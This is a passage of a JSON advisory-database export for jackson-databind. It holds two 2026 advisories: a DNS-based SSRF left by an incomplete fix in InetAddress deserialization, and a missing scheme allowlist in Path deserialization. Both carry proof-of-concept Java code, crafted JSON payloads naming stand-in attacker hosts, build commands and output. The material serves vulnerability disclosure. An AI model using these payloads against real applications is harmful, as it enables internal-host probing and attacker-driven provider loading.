"2.3.5", "2.4.0", "2.4.0-rc1", "2.4.0-rc2", "2.4.0-rc3", "2.4.1", "2.4.1.1", "2.4.1.2", "2.4.1.3", "2.4.2", "2.4.3", "2.4.4", "2.4.5", "2.4.5.1", "2.4.6", "2.4.6.1", "2.5.0", "2.5.0-rc1", "2.5.1", "2.5.2", "2.5.3", "2.5.4", "2.5.5", "2.6.0", "2.6.0-rc1", "2.6.0-rc2", "2.6.0-rc3", "2.6.0-rc4", "2.6.1", "2.6.2", "2.6.3", "2.6.4", "2.6.5", "2.6.6", "2.6.7", "2.6.7.1", "2.6.7.2", "2.6.7.3", "2.6.7.4", "2.6.7.5", "2.7.0", "2.7.0-rc1", "2.7.0-rc2", "2.7.0-rc3", "2.7.1", "2.7.1-1", "2.7.2", "2.7.3", "2.7.4", "2.7.5", "2.7.6", "2.7.7", "2.7.8", "2.7.9", "2.7.9.1", "2.7.9.2", "2.7.9.3", "2.7.9.4", "2.7.9.5", "2.7.9.6", "2.7.9.7", "2.8.0", "2.8.0.rc1", "2.8.0.rc2", "2.8.1", "2.8.10", "2.8.11", "2.8.11.1", "2.8.11.2", "2.8.11.3", "2.8.11.4", "2.8.11.5", "2.8.11.6", "2.8.2", "2.8.3", "2.8.4", "2.8.5", "2.8.6", "2.8.7", "2.8.8", "2.8.8.1", "2.8.9", "2.9.0", "2.9.0.pr1", "2.9.0.pr2", "2.9.0.pr3", "2.9.0.pr4", "2.9.1", "2.9.10", "2.9.10.1", "2.9.10.2", "2.9.10.3", "2.9.10.4", "2.9.10.5", "2.9.10.6", "2.9.10.7", "2.9.10.8", "2.9.2", "2.9.3", "2.9.4", "2.9.5", "2.9.6", "2.9.7", "2.9.8", "2.9.9", "2.9.9.1", "2.9.9.2", "2.9.9.3" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-vvgp-rfg2-7rr6/GHSA-vvgp-rfg2-7rr6.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.5" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.19.0", "2.19.1", "2.19.2", "2.19.3", "2.19.4", "2.20.0", "2.20.0-rc1", "2.20.1", "2.20.2", "2.21.0", "2.21.1", "2.21.2", "2.21.3", "2.21.4" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-vvgp-rfg2-7rr6/GHSA-vvgp-rfg2-7rr6.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.22.0" }, { "fixed": "2.22.1" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.22.0" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-vvgp-rfg2-7rr6/GHSA-vvgp-rfg2-7rr6.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.5" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.1.0", "3.1.0-rc1", "3.1.1", "3.1.2", "3.1.3", "3.1.4" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-vvgp-rfg2-7rr6/GHSA-vvgp-rfg2-7rr6.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.2.0" }, { "fixed": "3.2.1" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.2.0" ] } ], "aliases": [ "CVE-2026-77310" ], "database_specific": { "cwe_ids": [ "CWE-918" ], "github_reviewed": true, "github_reviewed_at": "2026-09-28T20:17:41Z", "nvd_published_at": "2026-08-24T20:17:20Z", "severity": "MODERATE" }, "details": "### Summary\nCVE-2026-54514 (GHSA-hgj6-7826-r7m5) fixed an eager-DNS-resolution / SSRF issue in jackson-databind's deserialization of `java.net.InetSocketAddress` by switching to `InetSocketAddress.createUnresolved(...)` (PR #5951, commit 1f5a1037, released in 2.18.8 / 2.21.4 / 3.1.4). That fix did not cover the sibling `java.net.InetAddress` branch in the very same `FromStringDeserializer.Std._deserialize()` switch statement, which still calls `InetAddress.getByName(value)` and therefore performs an eager forward DNS lookup on attacker-controlled input at deserialization time. The fix is incomplete: the same vulnerability class remains reachable through `InetAddress`.\n\n### Details\nFile: src/main/java/com/fasterxml/jackson/databind/deser/std/FromStringDeserializer.java\n\nSibling cases in the same switch:\n- Line 357-358 (UNFIXED):\n case STD_INET_ADDRESS:\n return InetAddress.getByName(value); // eager forward DNS lookup\n- Line 359-381 + helper at 494-496 (FIXED by PR #5951):\n protected InetSocketAddress _inetSocketAddress(String host, int port) {\n // 05-May-2026, tatu: [databind#5951] Prevent DNS lookup:\n return InetSocketAddress.createUnresolved(host, port); // no DNS\n }\n\n`InetAddress` is a registered standard string-like scalar type (FromStringDeserializer.types() line 73; findDeserializer() maps it to STD_INET_ADDRESS at line 119-120). Any value deserialized into an `InetAddress`-typed target — a plain POJO field, a polymorphic subtype, or a default-typing-permitted slot — reaches `InetAddress.getByName(attackerControlledString)`, which invokes the OS/JVM resolver and performs forward DNS resolution before any application validation.\n\nThe parent fix's own added unit test asserts `address.isUnresolved()` with the comment \"should NOT resolve address\", confirming that performing DNS resolution during deserialization is precisely the behavior being treated as the vulnerability. The InetAddress branch still violates that property.\n\nVerified against the FIXED released artifact (jackson-databind 2.18.8, from Maven Central): decompiled bytecode shows the InetSocketAddress branch now routes through `_inetSocketAddress -\u003e createUnresolved`, while `InetAddress.getByName` is still emitted unchanged in the InetAddress branch.\n\n### PoC\nLab-only, zero network egress. Run against the fixed jackson-databind 2.18.8.\n\nA custom JDK InetAddressResolver SPI (Java 18+) counts forward lookups locally and answers with loopback, so no traffic leaves the host:\n\n ObjectMapper m = new ObjectMapper();\n // InetSocketAddress (patched): 0 resolver lookups, isUnresolved=true\n m.readValue(\"\\\"internal-metadata.attacker-oob.example:8080\\\"\", InetSocketAddress.class);\n // InetAddress (unpatched sibling): 1 resolver lookup on the attacker host\n m.readValue(\"\\\"internal-metadata.attacker-oob.example\\\"\", InetAddress.class);\n\nObserved output (jackson 2.18.8):\n [A] InetSocketAddress isUnresolved=true resolverLookups=0 lastHost=null\n [B] InetAddress value=localhost/127.0.0.1 resolverLookups=1 lastHost=internal-metadata.attacker-oob.example\n\nA standalone variant (no SPI) using an RFC-6761 `.invalid` canary host shows the same: deserializing into InetAddress raises UnknownHostException (the OS resolver was invoked), while InetSocketAddress stays unresolved. Full source in PocResolverCount.java and PocInetAddressIncompleteFix.java.\n\nReachability with a plain field (no annotations, no polymorphism, no default typing):\n static class Config { public InetAddress bindHost; public int port; }\n mapper.readValue(\"{\\\"bindHost\\\":\\\"poc-reach.example\\\",\\\"port\\\":1}\", Config.class);\n // -\u003e resolver invoked on \"poc-reach.example\"\n\n### Impact\nAn attacker who can influence JSON deserialized into an `InetAddress` target can force the application to perform outbound forward DNS lookups for attacker-chosen hostnames at deserialization time, before any application-level validation. This yields a DNS-based SSRF / OOB primitive: out-of-band exfiltration / interaction via DNS callbacks, and blind probing of whether internal hostnames resolve (internal-host enumeration). This is the same impact class and trust boundary for which CVE-2026-54514 (CVSS 5.3, CWE-918) was assigned to the InetSocketAddress branch. It is a DNS-lookup / blind SSRF primitive, not arbitrary HTTP SSRF or RCE; it does not itself open a socket.\n\nSuggested fix: avoid eager resolution for InetAddress as well — e.g. defer resolution, validate the host string before resolving, or provide an opt-in/opt-out consistent with the InetSocketAddress fix (there is no direct unresolved-InetAddress equivalent, so deferring/validating or documenting the resolution is the practical mitigation).\n\nCredit : Ta Duc Thien", "id": "GHSA-vvgp-rfg2-7rr6", "modified": "2026-09-28T20:30:05.324367371Z", "published": "2026-09-28T20:17:41Z", "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-vvgp-rfg2-7rr6" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77310" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/pull/6058" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/2fc7bd9057dd051d7dea0e5fcad89822d0fa5ebd" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-databind" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.18.9" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.21.5" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.22.1" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.1.5" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.2.1" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "type": "CVSS_V3" } ], "summary": "jackson-databind: Incomplete fix for CVE-2026-54514: eager DNS resolution (SSRF) still present in InetAddress deserialization" }, { "affected": [ { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-wjgm-6hv5-3cvf/GHSA-wjgm-6hv5-3cvf.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.6" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.1.0", "3.1.0-rc1", "3.1.1", "3.1.2", "3.1.3", "3.1.4", "3.1.5" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-wjgm-6hv5-3cvf/GHSA-wjgm-6hv5-3cvf.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.2.0" }, { "fixed": "3.2.2" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.2.0", "3.2.1" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-wjgm-6hv5-3cvf/GHSA-wjgm-6hv5-3cvf.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.8.0" }, { "fixed": "2.18.10" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.10.0", "2.10.0.pr1", "2.10.0.pr2", "2.10.0.pr3", "2.10.1", "2.10.2", "2.10.3", "2.10.4", "2.10.5", "2.10.5.1", "2.11.0", "2.11.0.rc1", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.12.0", "2.12.0-rc1", "2.12.0-rc2", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.12.6.1", "2.12.7", "2.12.7.1", "2.12.7.2", "2.13.0", "2.13.0-rc1", "2.13.0-rc2", "2.13.1", "2.13.2", "2.13.2.1", "2.13.2.2", "2.13.3", "2.13.4", "2.13.4.1", "2.13.4.2", "2.13.5", "2.14.0", "2.14.0-rc1", "2.14.0-rc2", "2.14.0-rc3", "2.14.1", "2.14.2", "2.14.3", "2.15.0", "2.15.0-rc1", "2.15.0-rc2", "2.15.0-rc3", "2.15.1", "2.15.2", "2.15.3", "2.15.4", "2.16.0", "2.16.0-rc1", "2.16.1", "2.16.2", "2.17.0", "2.17.0-rc1", "2.17.1", "2.17.2", "2.17.3", "2.18.0", "2.18.0-rc1", "2.18.1", "2.18.2", "2.18.3", "2.18.4", "2.18.5", "2.18.6", "2.18.7", "2.18.8", "2.18.9", "2.8.0", "2.8.1", "2.8.10", "2.8.11", "2.8.11.1", "2.8.11.2", "2.8.11.3", "2.8.11.4", "2.8.11.5", "2.8.11.6", "2.8.2", "2.8.3", "2.8.4", "2.8.5", "2.8.6", "2.8.7", "2.8.8", "2.8.8.1", "2.8.9", "2.9.0", "2.9.0.pr1", "2.9.0.pr2", "2.9.0.pr3", "2.9.0.pr4", "2.9.1", "2.9.10", "2.9.10.1", "2.9.10.2", "2.9.10.3", "2.9.10.4", "2.9.10.5", "2.9.10.6", "2.9.10.7", "2.9.10.8", "2.9.2", "2.9.3", "2.9.4", "2.9.5", "2.9.6", "2.9.7", "2.9.8", "2.9.9", "2.9.9.1", "2.9.9.2", "2.9.9.3" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-wjgm-6hv5-3cvf/GHSA-wjgm-6hv5-3cvf.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.6" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.19.0", "2.19.1", "2.19.2", "2.19.3", "2.19.4", "2.20.0", "2.20.0-rc1", "2.20.1", "2.20.2", "2.21.0", "2.21.1", "2.21.2", "2.21.3", "2.21.4", "2.21.5" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-wjgm-6hv5-3cvf/GHSA-wjgm-6hv5-3cvf.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.22.0" }, { "fixed": "2.22.2" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.22.0", "2.22.1" ] } ], "aliases": [ "CVE-2026-19032" ], "database_specific": { "cwe_ids": [ "CWE-470", "CWE-610" ], "github_reviewed": true, "github_reviewed_at": "2026-09-28T20:19:19Z", "nvd_published_at": "2026-09-01T04:18:00Z", "severity": "MODERATE" }, "details": "### Summary\n\nA `java.nio.file.Path` field bound from untrusted JSON reaches `JDKFromStringDeserializer.NioPathHelper.deserialize`. The attacker string flows through `new URI(value)` → `Path.of(uri)`, then on `FileSystemNotFoundException` into a `ServiceLoader\u003cFileSystemProvider\u003e` enumeration that calls `provider.getPath(uri)` on the first scheme-matching provider. No scheme is rejected, so untrusted JSON can drive an arbitrary registered provider under the default `JsonMapper.builder().build()`.\n\nImpact is bounded. The JDK built-in providers (`file`, `jar`/zipfs) do no network I/O and do not mount, so the path is inert without a side-effecting third-party provider. Binding `Path` from untrusted input is already an anti-pattern.\n\n### Description\n\n`NioPathHelper.deserialize` performs provider resolution driven by the attacker URI (abridged; the real method also handles a Windows drive-letter prefix and wraps failures via `ctxt.handleInstantiationProblem(...)`):\n\n```java\nint colonIx = value.indexOf(':');\nif (colonIx \u003c 0) { return Path.of(value); }\n...\nfinal URI uri = new URI(value); // attacker-controlled URI string\ntry {\n return Path.of(uri); // resolves scheme -\u003e may load a FileSystemProvider\n} catch (FileSystemNotFoundException cause) {\n final String scheme = uri.getScheme();\n for (FileSystemProvider provider : ServiceLoader.load(FileSystemProvider.class)) {\n if (provider.getScheme().equalsIgnoreCase(scheme)) {\n return provider.getPath(uri); // attacker scheme selects \u0026 drives a provider\n }\n }\n // no matching provider -\u003e ctxt.handleInstantiationProblem(...) (throws by default)\n}\n```\n\nThe attacker's scheme selects the provider and the attacker's URI is passed to it; the enumeration also forces provider classloading during `readValue`. For built-in schemes like `jar:`, `getPath` throws `FileSystemNotFoundException` (a mount requires explicit `newFileSystem`), surfacing as a wrapped `ValueInstantiationException` with no terminal effect. Any mount, network I/O, or resource access depends entirely on the selected provider.\n\n## Vulnerable Code Location\n\n- `src/main/java/tools/jackson/databind/deser/jdk/JDKFromStringDeserializer.java`\n - `STD_PATH` → `NioPathHelper.deserialize`; `NioPathHelper.deserialize` body \n (`new URI` → `Path.of(uri)` → `ServiceLoader.load(FileSystemProvider.class)` → `provider.getPath(uri)`).\n\n\n## Proof of Concept\n\nTwo PoCs are provided. \n\n\u003e PoC 2 registers a custom `FileSystemProvider` to show that attacker JSON reaches `provider.getPath(attackerURI)` inside `readValue`. Whether a third-party provider then does anything harmful is outside the library's control. The in-scope issue is **PoC 1** — the `jar:`/arbitrary-scheme path reaching the `ServiceLoader` fallback with no scheme restriction.\n\n**PoC 1 — sink reached (built-in `jar` provider).** \n\n`com/poc/Vuln04_PathProvider.java`:\n```java\npackage com.poc;\n\nimport tools.jackson.databind.ObjectMapper;\nimport tools.jackson.databind.json.JsonMapper;\nimport java.nio.file.Path;\n\n/**\n * Vuln 4: java.nio.file.Path deserialization resolves an attacker URI via\n * Path.of(uri) / ServiceLoader\u003cFileSystemProvider\u003e.\n */\npublic class Vuln04_PathProvider {\n public static class Config { public Path workdir; }\n\n public static void main(String[] args) throws Exception {\n ObjectMapper mapper = JsonMapper.builder().build();\n // jar: scheme forces FileSystemProvider resolution / mounting attempt on attacker URI.\n String json = \"{\\\"workdir\\\":\\\"jar:file:/tmp/jackson_poc_evil.zip!/x\\\"}\";\n System.out.println(\"Deserializing (default mapper): \" + json);\n try {\n Config c = mapper.readValue(json, Config.class);\n System.out.println(\"Resolved Path = \" + c.workdir + \" (class=\" + (c.workdir==null?\"null\":c.workdir.getClass().getName()) + \")\");\n System.out.println(\"RESULT: VULNERABLE - attacker URI scheme resolved through provider machinery during readValue\");\n } catch (Throwable t) {\n System.out.println(\"Throwable during resolution: \" + t.getClass().getName() + \": \" + t.getMessage());\n System.out.println(\"RESULT: VULNERABLE (attacker URI drove provider resolution; threw \" + t.getClass().getSimpleName() + \" inside readValue)\");\n }\n }\n}\n```\n\n**PoC 2 — scheme-selection mechanism demo (custom `FileSystemProvider`).**\nA third-party provider (scheme `evilscheme`) registered via `META-INF/services/java.nio.file.spi.FileSystemProvider`, which is standing in for *any* provider a real application ships. \n\n`com/poc/EvilFileSystemProvider.java`:\n```java\npackage com.poc;\n\nimport java.nio.file.*;\nimport java.nio.file.spi.FileSystemProvider;\nimport java.nio.file.attribute.*;\nimport java.net.URI;\nimport java.io.IOException;\nimport java.util.*;\nimport java.util.Set;\nimport java.nio.channels.SeekableByteChannel;\n\n/**\n * A custom java.nio.file.spi.FileSystemProvider registered via META-INF/services, using the\n * scheme \"evilscheme\". It stands in for ANY third-party FileSystemProvider present on a real\n * application's classpath. Its static initializer and getPath() record that they executed,\n * proving that attacker-controlled JSON drove provider class loading + provider.getPath(uri)\n * inside jackson's readValue.\n */\npublic class EvilFileSystemProvider extends FileSystemProvider {\n public static volatile boolean STATIC_INIT_RAN = false;\n public static volatile String GET_PATH_URI = null;\n static { STATIC_INIT_RAN = true; }\n\n @Override public String getScheme() { return \"evilscheme\"; }\n\n @Override public Path getPath(URI uri) {\n GET_PATH_URI = uri.toString();\n System.out.println(\"\u003e\u003e\u003e [EVIL-PROVIDER] getPath() invoked with attacker URI: \" + uri);\n // A malicious/vulnerable provider could here open a socket, read a file, mount a FS, etc.\n return java.nio.file.Path.of(System.getProperty(\"java.io.tmpdir\"), \"evilprovider-marker\");\n }\n\n // --- remaining abstract methods: minimal stubs ---\n @Override public FileSystem newFileSystem(URI uri, Map\u003cString,?\u003e env) { throw new UnsupportedOperationException(); }\n @Override public FileSystem getFileSystem(URI uri) { throw new FileSystemNotFoundException(); }\n @Override public SeekableByteChannel newByteChannel(Path p, Set\u003c? extends OpenOption\u003e o, FileAttribute\u003c?\u003e... a) throws IOException { throw new UnsupportedOperationException(); }\n @Override public DirectoryStream\u003cPath\u003e newDirectoryStream(Path d, DirectoryStream.Filter\u003c? super Path\u003e f) { throw new UnsupportedOperationException(); }\n @Override public void createDirectory(Path d, FileAttribute\u003c?\u003e... a) { throw new UnsupportedOperationException(); }\n @Override public void delete(Path p) { throw new UnsupportedOperationException(); }\n @Override public void copy(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); }\n @Override public void move(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); }\n @Override public boolean isSameFile(Path p, Path p2) { return false; }\n @Override public boolean isHidden(Path p) { return false; }\n @Override public FileStore getFileStore(Path p) { throw new UnsupportedOperationException(); }\n @Override public void checkAccess(Path p, AccessMode... m) { }\n @Override public \u003cV extends FileAttributeView\u003e V getFileAttributeView(Path p, Class\u003cV\u003e t, LinkOption... o) { return null; }\n @Override public \u003cA extends BasicFileAttributes\u003e A readAttributes(Path p, Class\u003cA\u003e t, LinkOption... o) { throw new UnsupportedOperationException(); }\n @Override public Map\u003cString,Object\u003e readAttributes(Path p, String a, LinkOption... o) { throw new UnsupportedOperationException(); }\n @Override public void setAttribute(Path p, String a, Object v, LinkOption... o) { }\n}\n```\n\nRegistration descriptor —\n`src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider`:\n```\ncom.poc.EvilFileSystemProvider\n```\n\nDriver — `com/poc/Vuln04b_PathProviderMount.java`:\n```java\npackage com.poc;\n\nimport tools.jackson.databind.ObjectMapper;\nimport tools.jackson.databind.json.JsonMapper;\n\n/**\n * Vuln 4 (end-to-end terminal effect): a third-party FileSystemProvider registered via\n * META-INF/services (scheme \"evilscheme\") stands in for any provider on a real app's\n * classpath. Attacker JSON with that scheme drives jackson's ServiceLoader fallback to\n * (1) load the provider class (running its static initializer) and (2) invoke\n * provider.getPath(attackerUri) -- all inside readValue, with NO application code.\n */\npublic class Vuln04b_PathProviderMount {\n public static class Config { public java.nio.file.Path workdir; }\n\n public static void main(String[] args) throws Exception {\n System.out.println(\"Provider static-init ran before deserialization? \" + EvilFileSystemProvider.STATIC_INIT_RAN);\n ObjectMapper mapper = JsonMapper.builder().build(); // default config\n String json = \"{\\\"workdir\\\":\\\"evilscheme://attacker-controlled/target?x=1\\\"}\";\n System.out.println(\"Deserializing (default mapper): \" + json);\n\n Config c = mapper.readValue(json, Config.class);\n\n System.out.println(\"Resolved Path = \" + c.workdir);\n System.out.println(\"Provider static-init ran: \" + EvilFileSystemProvider.STATIC_INIT_RAN);\n System.out.println(\"Provider.getPath() attacker URI: \" + EvilFileSystemProvider.GET_PATH_URI);\n boolean ok = EvilFileSystemProvider.GET_PATH_URI != null\n \u0026\u0026 EvilFileSystemProvider.GET_PATH_URI.contains(\"attacker-controlled\");\n System.out.println(ok\n ? \"RESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven)\"\n : \"RESULT: NOT reproduced\");\n }\n}\n```\n\n## Execution Steps\n\nThe PoCs need only the three Jackson 3.2.1 jars on the classpath and can be built with plain `javac`/`java` . PoC 2 additionally requires the `META-INF/services` descriptor to be on the **runtime** classpath\n\n```bash\n# 0. Locate the three published dependency jars.\nM2=\"$HOME/.m2/repository\"\nDB=\"$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar\"\nCORE=\"$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar\"\nANN=\"$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar\"\nCP=\"$DB:$CORE:$ANN\"\n\n# 1. Compile the three sources.\ncd poc-project\nmkdir -p out\njavac -cp \"$CP\" -d out \\\n src/main/java/com/poc/EvilFileSystemProvider.java \\\n src/main/java/com/poc/Vuln04_PathProvider.java \\\n src/main/java/com/poc/Vuln04b_PathProviderMount.java\n\n# 2. Put the ServiceLoader descriptor on the runtime classpath (needed by PoC 2).\nmkdir -p out/META-INF/services\ncp src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider \\\n out/META-INF/services/java.nio.file.spi.FileSystemProvider\n\n# 3. Run both PoCs.\njava -cp \"out:$CP\" com.poc.Vuln04_PathProvider # PoC 1\njava -cp \"out:$CP\" com.poc.Vuln04b_PathProviderMount # PoC 2\n```\n\n## Reproduction Evidence\n\nExecuted against jackson-databind 3.2.1 (OpenJDK 25).\n\n**PoC 1 :**\n```\nDeserializing (default mapper): {\"workdir\":\"jar:file:/tmp/jackson_poc_evil.zip!/x\"}\nThrowable during resolution: tools.jackson.databind.exc.ValueInstantiationException: Cannot construct instance of `java.nio.file.Path`, problem: `java.nio.file.FileSystemNotFoundException`\n at [Source: REDACTED (`StreamReadFeature.INCLUDE_SOURCE_IN_LOCATION` disabled); byte offset: #UNKNOWN] (through reference chain: com.poc.Vuln04_PathProvider$Config[\"workdir\"])\nRESULT: VULNERABLE (attacker URI drove provider resolution; threw ValueInstantiationException inside readValue)\n```\nNotes: the JDK **built-in** `jar` provider's `getPath` does not auto-mount (it also throws `FileSystemNotFoundException`, since only `newFileSystem` mounts). PoC 1 proves the in-scope defect: attacker input reaches the scheme-driven `ServiceLoader` resolution during `readValue` with no allow-list. PoC 2 only illustrates the downstream mechanism.\n\n**PoC 2 :**\n```\nProvider static-init ran before deserialization? true\nDeserializing (default mapper): {\"workdir\":\"evilscheme://attacker-controlled/target?x=1\"}\n\u003e\u003e\u003e [EVIL-PROVIDER] getPath() invoked with attacker URI: evilscheme://attacker-controlled/target?x=1\nResolved Path = /var/folders/.../T/evilprovider-marker\nProvider static-init ran: true\nProvider.getPath() attacker URI: evilscheme://attacker-controlled/target?x=1\nRESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven)\n```\nPurely from a JSON string, jackson's `ServiceLoader` fallback selected the attacker-named scheme's provider and invoked `provider.getPath(uri)` with the full attacker URI inside `readValue`. Whether a given provider then does anything harmful is outside the library's control; the in-scope issue is the absence of a scheme restriction before this fallback runs.\n\n## Impact\n\nUntrusted JSON drives `provider.getPath(attackerURI)` on an attacker-chosen provider during `readValue`. With only the JDK built-in providers this is inert. Real impact requires a side-effecting third-party provider on the classpath. The fix is to close the\nscheme-restriction gap.\n\n## Recommended Fix\n\n1. **Restrict the resolved scheme to a fixed, hard-coded set** ; reject `jar:` and other schemes via `ctxt.handleWeirdStringValue(...)`. A hard-coded set keeps the fix backport-safe with no new configuration surface.\n2. **Skip the `ServiceLoader\u003cFileSystemProvider\u003e` enumeration for disallowed schemes**, so untrusted JSON cannot select and drive an arbitrary registered provider.\n3. Document that `java.nio.file.Path`-typed fields should not be bound from untrusted JSON.", "id": "GHSA-wjgm-6hv5-3cvf", "modified": "2026-09-28T20:30:05.331167692Z", "published": "2026-09-28T20:19:19Z", "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-wjgm-6hv5-3cvf" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-19032" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/pull/6129" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/cc6756b61ed90b6b9227f670e0408d5d9bd48551" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/ce26eda3481cd796f76ba4c53ffe1da23b53f166" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/d94bb632becfe0ba96926b9909ab06d1f87aad6d" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-databind" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.18.10" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.21.6" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.22.2" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.1.6" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.2.2" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "type": "CVSS_V3" } ], "summary": "jackson-databind: Path Deserialization Missing Scheme Allowlist for FileSystemProvider Resolution" }, { "affected": [ { "database_specific": { "last_known_affected_version_range": "\u003c= 2.18.10", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-wv8q-qhhj-9h54/GHSA-wv8q-qhhj-9h54.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.0.0" }, { "fixed": "2.18.11" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.0.0", "2.0.1", "2.0.2", "2.0.4", "2.0.5", "2.0.6", "2.1.0", "2.1.1", "2.1.2", "2.1.3", "2.1.4", "2.1.5", "2.10.0", "2.10.0.pr1", "2.10.0.pr2", "2.10.0.pr3", "2.10.1", "2.10.2", "2.10.3", "2.10.4", "2.10.5", "2.10.5.1", "2.11.0", "2.11.0.rc1", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.12.0", "2.12.0-rc1", "2.12.0-rc2", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.12.6.1", "2.12.7", "2.12.7.1", "2.12.7.2", "2.13.0", "2.13.0-rc1", "2.13.0-rc2", "2.13.1", "2.13.2", "2.13.2.1", 